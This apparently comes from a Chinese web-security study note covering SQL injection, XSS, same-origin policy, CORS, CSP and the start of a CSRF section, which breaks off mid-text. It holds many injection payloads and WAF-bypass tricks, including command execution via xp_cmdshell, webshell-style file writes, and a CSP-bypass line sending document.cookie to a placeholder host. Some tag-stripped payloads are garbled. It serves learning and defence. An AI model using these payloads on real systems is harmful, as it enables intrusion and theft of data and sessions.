【Web安全学习二】
目录
- 常见漏洞攻防
- SQL注入
- 注入分类
- 按技巧分类
- 按获取数据的方式分类
- 注入检测
- 权限提升
- 数据库检测
- 绕过技巧
- CheatSheet
- SQL Server Payload
- MySQL Payload
- 预编译
- XSS
- 分类
- 危害
- 同源策略
- CSP
- XSS数据源
- Sink
- XSS保护
- WAF Bypass
- Payload
- 持久化
- CSRF
- SSRF
- 命令注入
- 目录穿越
- 文件读取
- 文件上传
- 文件包含
- …………
- SQL注入
- 语言和框架
- 基本概念
- 生命周期
常见漏洞攻防 SQL注入 注入分类
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
按技巧分类
根据使用的技巧,SQL注入类型可分为
-
- 盲注
布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
- 盲注
- 报错注入:应用会显示全部或者部分的报错信息
- 堆叠注入:有的应用可以加入
;
后一次执行多条语句
- 其他
另外也可以根据获取数据的方式分为3类
- inband,利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
- inference,通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。
- out of band (OOB)通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。
常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
@@version
@@servername
@@language
@@spid
例如
http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
堆叠注入
; select 1
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
-
- 判断数据库类型
`and exists (select * from msysobjects ) > 0` access数据库`and exists (select * from sysobjects ) > 0` SQLServer数据库
- 判断数据库类型
-
- 判断数据库表
`and exsits (select * from admin)`
- 判断数据库表
- 版本、主机名、用户名、库名
-
- 表和字段
确定字段数Order BySelect Into表名、列名
- 表和字段
-
- 文件操作
读敏感文件写shell
- 文件操作
-
- 带外通道
网络请求
- 带外通道
UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
数据库检测
MySQL
- sleep
sleep(1)
- benchmark
BENCHMARK(5000000, MD5('test'))
-
- 字符串连接
`SELECT 'a' 'b'``SELECT CONCAT('some','string')`
- 字符串连接
-
- version
`SELECT @@version``SELECT version()`
- version
-
- 识别用函数
`connection_id()``last_insert_id()``row_count()`
- 识别用函数
-
- 字符串连接
`'a'||'oracle' --``SELECT CONCAT('some','string')`
- 字符串连接
-
- version
`SELECT banner FROM v$version``SELECT banner FROM v$version WHERE rownum=1`
- version
- WAITFOR
WAITFOR DELAY '00:00:10';
- SERVERNAME
SELECT @@SERVERNAME
- version
SELECT @@version
-
- 字符串连接
`SELECT 'some'+'string'`
- 字符串连接
-
- 常量
`@@pack_received``@@rowcount`
- 常量
- sleep
pg_sleep(1)
-
- 编码绕过
大小写url编码html编码十六进制编码unicode编码
- 编码绕过
-
- 注释
`//` `--` `-- +` `-- -` `#` `/**/` `; %00`内联注释用的更多,它有一个特性 `/!**/` 只有MySQL能识别e.g. `index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3`
- 注释
-
- 只过滤了一次时
`union` => `ununionion`
- 只过滤了一次时
-
- 相同功能替换
函数替换`substring` / `mid` / `sub``ascii` / `hex` / `bin``benchmark` / `sleep`变量替换`user()` / `@@user`符号和关键字`and` / `&``or` / `|`
- 相同功能替换
-
- HTTP参数
HTTP参数污染`id=1&id=2&id=3` 根据容器不同会有不同的结果HTTP分割注入
- HTTP参数
-
- 缓冲区溢出
一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
- 缓冲区溢出
- 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
SQL Server Payload 常见Payload
-
- Version
`SELECT @@version`
- Version
-
- Comment
`SELECT 1 -- comment``SELECT /*comment*/1`
- Comment
-
- Space
`0x01 - 0x20`
- Space
-
- 用户信息
`SELECT user_name()``SELECT system_user``SELECT user``SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID`
- 用户信息
-
- 用户权限
`select IS_SRVROLEMEMBER('sysadmin')``select IS_SRVROLEMEMBER('db_owner')`
- 用户权限
-
- List User
`SELECT name FROM master..syslogins`
- List User
-
- 数据库信息
`SELECT name FROM master..sysdatabases``select concat_ws(table_schema,table_name,column_name) from information_schema.columns``select quotename(name) from master..sysdatabases FOR XML PATH('')`
- 数据库信息
-
- 执行命令
`EXEC xp_cmdshell 'net user'`
- 执行命令
-
- Ascii
`SELECT char(0x41)``SELECT ascii('A')``SELECT char(65)+char(66)` => return `AB`
- Ascii
-
- Delay
`WAITFOR DELAY '0:0:3'` pause for 3 seconds
- Delay
-
- Change Password
`ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'`
- Change Password
-
- Trick
`id=1 union:select password from:user`
- Trick
-
- 文件读取
OpenRowset
- 文件读取
-
- 当前查询语句
`select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)`
- 当前查询语句
-
- hostname
用于判断是否站库分离`select host_name()``exec xp_getnetname`
- hostname
-
- 服务器信息
`exec xp_msver`
- 服务器信息
-
-
xp_regread
`exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'`
-
-
xp_regwrite
-
xp_regdeletvalue
-
xp_regdeletkey
-
xp_regaddmultistring
1=convert(int,(db_name()))
- SUSER_NAME()
- USER_NAME()
- PERMISSIONS()
- DB_NAME()
- FILE_NAME()
- TYPE_NAME()
- COL_NAME()
- fn_xe_file_target_read_file
- fn_get_audit_file
- fn_trace_gettable
- sp_execute_external_script
- sp_makewebtask
- sp_OACreate
- sp_OADestroy
- sp_OAGetErrorInfo
- sp_OAGetProperty
- sp_OAMethod
- sp_OASetProperty
- sp_OAStop
- xp_cmdshell
- xp_dirtree
- xp_enumerrorlogs
- xp_enumgroups
- xp_fixeddrives
- xp_getfiledetails
- xp_loginconfig
-
- Version
`SELECT @@version`
- Version
-
- Comment
`SELECT 1 -- comment``SELECT 1 # comment``SELECT /*comment*/1`
- Comment
-
- Space
`0x9` `0xa-0xd` `0x20` `0xa0`
- Space
-
- Current User
`SELECT user()``SELECT system_user()``SELECT current_role()`
- Current User
-
- List User
`SELECT user FROM mysql.user`
- List User
-
- Current Database
`SELECT database()`
- Current Database
-
- List Database
`SELECT schema_name FROM information_schema.schemata`
- List Database
-
- List Tables
`SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
- List Tables
-
- List Columns
`SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
- List Columns
-
- If
`SELECT if(1=1,'foo','bar'); ` return 'foo'
- If
-
- Ascii
`SELECT char(0x41)``SELECT ascii('A')``SELECT 0x414243` => return `ABC`
- Ascii
-
- Delay
`sleep(1)``SELECT BENCHMARK(1000000,MD5('A'))`
- Delay
-
- Read File
`select @@datadir``select load_file('databasename/tablename.MYD')`
- Read File
-
- Blind
`ascii(substring(str,pos,length)) & 32 = 1`
- Blind
-
- Error Based
`select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; ``select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))`
- Error Based
-
- Change Password
`mysql -uroot -e "use mysql; UPDATE user SET password=PASSWORD('newpassword') WHERE user='root'; FLUSH PRIVILEGES; "`
- Change Password
- extractvalue
- updatexml
- GeometryCollection
- linestring
- multilinestring
- multipoint
- multipolygon
- polygon
- exp
写文件前提
- root 权限
- 知晓文件绝对路径
- 写入的路径存在写入权限
- secure_file_priv 允许向对应位置写入
select count(file_priv) from mysql.user
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '';
set global general_log_file = '/original/path';
set global general_log = off;
预编译
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
模拟预编译
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
绕过
预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
XSS XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
分类
反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:
hello, $_GET['user']";
?>
,那么在访问时设置 /?user=alert("hack")
,则可执行预设好的JavaScript代码。反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如
DOM Based XSS Demo - 锐客网
输入
x' onerror='javascript:alert(/xss/)
即可触发。Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
危害
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用
domain
/ path
/ secure
和 http-only
标记来限定其访问性。所以
https://localhost:8080/
和 http://localhost:8081/
的Cookie是共享的。Flash/SilverLight跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
源的更改
同源策略认为域和子域属于不同的域,例如
child1.a.com
与 a.com
/ child1.a.com
与 child2.a.com
/ xxx.child1.a.com
与 child1.a.com
两两不同源。对于这种情况,可以在两个方面各自设置
document.domain='a.com'
来改变其源来实现以上任意两个页面之间的通信。另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为
null
。跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
-
- 通常允许跨域写操作(Cross-origin writes)
链接(links)重定向表单提交
- 通常允许跨域写操作(Cross-origin writes)
- 通常允许跨域资源嵌入(Cross-origin embedding)
- 通常不允许跨域读操作(Cross-origin reads)
- `` 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
- `` 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
/
/ `` 嵌入多媒体资源。@font-face
引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。和
载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
JSONP就是利用 `` 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题。没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露。
另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。
跨源脚本API访问
Javascript的APIs中,如
iframe.contentWindow
, window.parent
, window.open
和 window.opener
允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window
和 location
对象的访问添加限制。window
允许跨源访问的方法有- window.blur
- window.close
- window.focus
- window.postMessage
window
允许跨源访问的属性有- window.closed
- window.frames
- window.length
- window.location
- window.opener
- window.parent
- window.self
- window.top
- window.window
window.location
允许读/写,其他的属性只允许读跨源数据存储访问
存储在浏览器中的数据,如
localStorage
和 IndexedDB
,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。CORS
CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
常见请求头
-
- Origin
预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段`Origin: `
- Origin
-
- Access-Control-Request-Method
声明请求使用的方法`Access-Control-Request-Method: `
- Access-Control-Request-Method
-
- Access-Control-Request-Headers
声明请求使用的header字段`Access-Control-Request-Headers: [, ]*`
- Access-Control-Request-Headers
-
- Access-Control-Allow-Origin
声明允许访问的源外域URI对于携带身份凭证的请求不可使用通配符 `*``Access-Control-Allow-Origin: | *`
- Access-Control-Allow-Origin
-
- Access-Control-Expose-Headers
声明允许暴露的头e.g. `Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header`
- Access-Control-Expose-Headers
-
- Access-Control-Max-Age
声明Cache时间`Access-Control-Max-Age: `
- Access-Control-Max-Age
-
- Access-Control-Allow-Credentials
声明是否允许在请求中带入`Access-Control-Allow-Credentials: true`
- Access-Control-Allow-Credentials
-
- Access-Control-Allow-Methods
声明允许的访问方式`Access-Control-Allow-Methods: [, ]*`
- Access-Control-Allow-Methods
-
- Access-Control-Allow-Headers
声明允许的头`Access-Control-Allow-Headers: [, ]*`
- Access-Control-Allow-Headers
- 如非必要不开启CORS
- 定义详细的白名单,不使用通配符,仅配置所需要的头
- 配置
Vary: Origin
头部 - 如非必要不使用
Access-Control-Allow-Credentials
- 限制缓存的时间
阻止跨域写操作,可以检测请求中的
CSRF token
,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守
Content-Type
消息头。例如如果在HTML文档中指定 `` 标记,则浏览器会尝试将HTML解析为JavaScript。CSP
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
指令说明
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 、 |
object-src | 定义 、 、 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 根URL策略,不使用default-src作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
-
-
-
允许从任意url加载,除了 `data:` `blob:` `filesystem:` `schemes`e.g. `img-src -`
-
-
-
none
禁止从任何url加载资源e.g. `object-src 'none'`
-
-
-
self
只可以加载同源资源e.g. `img-src 'self'`
-
-
-
data:
可以通过data协议加载资源e.g. `img-src 'self' data:`
-
-
-
domain.example.com
e.g. `img-src domain.example.com`只可以从特定的域加载资源
-
-
-
\*.example.com
e.g. `img-src \*.example.com`可以从任意example.com的子域处加载资源
-
-
-
https://cdn.com
e.g. `img-src https://cdn.com`只能从给定的域用https加载资源
-
-
-
https:
e.g. `img-src https:`只能从任意域用https加载资源
-
-
-
unsafe-inline
允许内部资源执行代码例如style attribute,onclick或者是sicript标签e.g. `script-src 'unsafe-inline'`
-
-
-
unsafe-eval
允许一些不安全的代码执行方式,例如js的eval()e.g. `script-src 'unsafe-eval'`
-
-
-
nonce-'
使用随机的nonce,允许加载标签上nonce属性匹配的标签e.g. `script-src 'nonce-bm9uY2U='`
-
-
-
-'
允许hash值匹配的代码块被执行e.g. `script-src 'sha256-'`
-
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self';
script-src 'self' 'unsafe-inline';
Bypass
预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:
- URL中包含下载资源
- 页面中包含音频、视频
- POST、PUT和DELET操作的ajax请求
- HTTP认证
- HTTPS页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了chrome developer tools开发工具
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再
其他
- location 绕过
- 可上传SVG时,通过恶意SVG绕过同源站点
- 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
- CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
- Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
-
- jQuery sourcemap
`document.write(` //@sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`); `` `
- jQuery sourcemap
- a标签的ping属性
- For FireFox `
- ``
-
- 仅限制
script-src
时:
``
- 仅限制
URL
location
location.href
location.pathname
location.search
location.hash
document.URL
document.documentURI
document.baseURI
window.name
document.referrer
Ajax
Fetch
WebSocket
PostMessage
Cookie
LocalStorage
SessionStorage
执行JavaScript
eval(payload)
setTimeout(payload, 100)
setInterval(payload, 100)
Function(payload)()
payload
- ``
location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))
location.replace(javascript:alert(/xss/))
xx.innerHTML=payload
xx.outerHTML=payload
document.write(payload)
document.writeln(payload)
HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
X-Frame
X-Frame-Options 响应头有三个可选的值:
-
- DENY
页面不能被嵌入到任何iframe或frame中
- DENY
-
- SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中
- SAMEORIGIN
-
- ALLOW-FROM
页面允许frame或frame加载
- ALLOW-FROM
基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0
: 表示关闭浏览器的XSS防护机制1
: 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置1; mode=block
: 如果检测到恶意代码,在不渲染恶意代码
WAF Bypass
- 利用<>标记
-
- 利用html属性
hreflowsrcbgsoundbackgroundvalueactiondynsrc
- 利用html属性
-
- 关键字
利用回车拆分字符串拼接`window["al" + "ert"]`
- 关键字
-
- 利用编码绕过
base64jsfuckString.fromCharCodeHTMLURLhex`window["\x61\x6c\x65\x72\x74"]`unicodeutf7`+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-`utf16
- 利用编码绕过
- 大小写混淆
- 对标签属性值转码
- 产生事件
- css跨站解析
-
- 长度限制bypass
`eval(name)``eval(hash)``import``$.getScript``$.get`
- 长度限制bypass
-
-
.
使用 `。` 绕过IP/域名`document['cookie']` 绕过属性取值
-
- 过滤引号用
`
绕过
在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。信头与元数据,或称为开销数据,仅用于辅助数据传输。
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
…………
持久化
基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在
eval(data)
之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用
String.fromCharCode
来绕过。Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过
chrome://inspect/#service-workers
来查看Service Worker的状态,并进行停止。AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
CSRF 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
分类
资源包含
资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如
文章图片
、 、